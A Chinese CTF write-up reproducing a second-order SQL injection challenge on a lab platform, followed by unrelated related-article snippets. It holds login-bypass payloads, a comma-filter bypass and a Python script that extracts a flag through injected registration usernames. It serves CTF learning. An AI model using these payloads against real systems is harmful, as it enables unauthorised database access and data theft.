网络安全--网鼎杯2018漏洞复现(二次注入)

一、环境:在线测试平台

BUUCTF在线评测 (buuoj.cn)

二、进入界面先尝试万能账号

1'or'1'='1'#

换格式 hais1bux1

1@1'or'1'='1'#

 

三、万能的不行那我们就得想注册了,去register.php去看看 

注册个账号

 发现用户名回显,猜测考点为用户名处二次注入,再次注册

 

很明显是有的 

 

三、如何解决?

在mysql中我们熟知一点是,+可以当做运算符 ,比如我们执行

select ‘1’+‘2a’

返回值为空

select '0'+database();

 

当我们用ASCII值来计算时,此时出现库第一位s的ASCII码值

select '0'+ascii(substr(database(),1,1));

因为题目中过滤掉了逗号,因此用from for来代替

0'+ascii(substr(database() from 1 for 1))+'0;

成功回显,因为过滤了information,只能猜字段名为flag,所以去用python脚本爬

脚本如下:

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/19 1:04
@version: 1.0
"""
import requests
import logging
import re
from time import sleep# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)def search():flag = ''url = 'http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/'url1 = url+'register.php'url2 = url+'login.php'for i in range(100):sleep(0.3)#不加sleep就429了QAQdata1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}r1 = requests.post(url1, data=data1)r2 = requests.post(url2, data=data2)res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)res1 = re.search(r'\d+', res.group())flag = flag+chr(int(res1.group()))print(flag)print("final:"+flag)if __name__ == '__main__':search()

四、最终答案:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/479968.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《戴森球计划》好玩吗?《戴森球计划》怎么在苹果电脑上安装 戴森球计划攻略 Mac游戏推荐

《戴森球计划》是一款具有强大现实科学基础的模拟策略游戏&#xff0c;玩家的目标是构建能源效率极高的戴森球以解决能源问题。游戏的背景设定启发于科幻作品中的戴森球概念。游戏采用逼真的物理模拟&#xff0c;玩家需要合理规划资源&#xff0c;以应对复杂的能源危机。那么《…

Open3D三维重建

原始点云&#xff1a; alpha_shape算法 import open3d as o3dpcd o3d.io.read_point_cloud("airplane_0001.pcd") mesh o3d.geometry.TriangleMesh.create_from_point_cloud_alpha_shape(pcd, alpha0.1) o3d.visualization.draw_geometries([mesh], mesh_show_b…

【贪心算法】代码随想录算法训练营第三十七天 |738.单调递增的数字,968.监控二叉树,总结(待补充)

738.单调递增的数字 1、题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 2、文章讲解&#xff1a;代码随想录 3、题目&#xff1a; 给定一个非负整数 N&#xff0c;找出小于或等于 N 的最大的整数&#xff0c;同时这个整数需要…

微信小程序之会议OA个人中心后台交互

目录 获取用户昵称头像和昵称 小程序登录 登录-小程序 wx.checkSession wx.login wx.request 后台 准备数据表 反向生成工具生成 准备封装前端传过来的数据 小程序服器配置 导入微信小程序SDK application.yml WxProperties WxConfig WxAuthController 登录-小…

Sora:新一代实时音视频通信框架

一、Sora简介 Sora是一个开源的实时音视频通信框架&#xff0c;旨在提供高效、稳定、可扩展的音视频通信解决方案。它基于WebRTC技术&#xff0c;支持跨平台、跨浏览器的实时音视频通信&#xff0c;并且具备低延迟、高并发、易集成等特点。 --点击进入Sora(一定要科学哦&#x…

JVM原理

一、java虚拟机的生命周期&#xff1a; Java虚拟机的生命周期 一个运行中的Java虚拟机有着一个清晰的任务&#xff1a;执行Java程序。程序开始执行时他才运行&#xff0c;程序结束时他就停止。你在同一台机器上运行三个程序&#xff0c;就会有三个运行中的Java虚拟机。 Java虚拟…

【最新Dubbo3深入理解】Dubbo高性能之序列化协议

欢迎关注公众号&#xff08;通过文章导读关注&#xff1a;【11来了】&#xff09;&#xff0c;及时收到 AI 前沿项目工具及新技术的推送&#xff01; 在我后台回复 「资料」 可领取编程高频电子书&#xff01; 在我后台回复「面试」可领取硬核面试笔记&#xff01; 文章导读地址…

LeetCode--代码详解 54.螺旋矩阵

54.螺旋矩阵 题目 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;[1,2,3,6,9,8,7,4,5]示例 2&#xff1a; 输入&#xff…

基于Doris构建亿级数据实时数据分析系统

背景 随着公司业务快速发展&#xff0c;对业务数据进行增长分析的需求越来越迫切&#xff0c;与此同时我们的业务数据量也在快速激增、每天的数据新增量大概在30w 左右&#xff0c;一年就会产生1 个亿的数据&#xff0c;显然基于传统MySQL数据库已经无法支撑满足以上需求 基于上…

开源软件的利弊

目录 开源软件 优势 免费 透明 可更改 可协作 影响力 坏处 安全隐患 良莠不齐 学习成本 持续性问题 未知风险 开源软件 开源软件是一种基于开放协作和共享的软件开发模式&#xff0c;其利弊对于软件产业和社会发展具有重要意义 优势 免费 谁能拒绝不要钱的东西…

FEP水质取样器操作方便应用环境化工行业

FEP贝勒管&#xff0c;是一种经济型便携式 水质采样器&#xff0c;操作简单&#xff0c;使用方便&#xff0c;它是一种软塑料。 用途&#xff1a; FEP贝勒管适用于各地环境监测站、污水处理厂、水利、水务以及各科研院所&#xff0c;对工业污染源排放口、江、河、湖、海等水样…

TLS、运输层安全协议

目录 运输层安全协议 1 协议 TLS 的要点 1.1 协议 TLS 的位置 1.2 TLS 与应用层协议独立无关 1.3 协议 TLS 具有双向鉴别的功能 1.4 TLS 建立安全会话的工作原理 TLS 的握手阶段 TLS 的会话阶段 1.5 TLS 传送的记录格式 2 协议 TLS 必须包含的措施 运输层安全协议 现…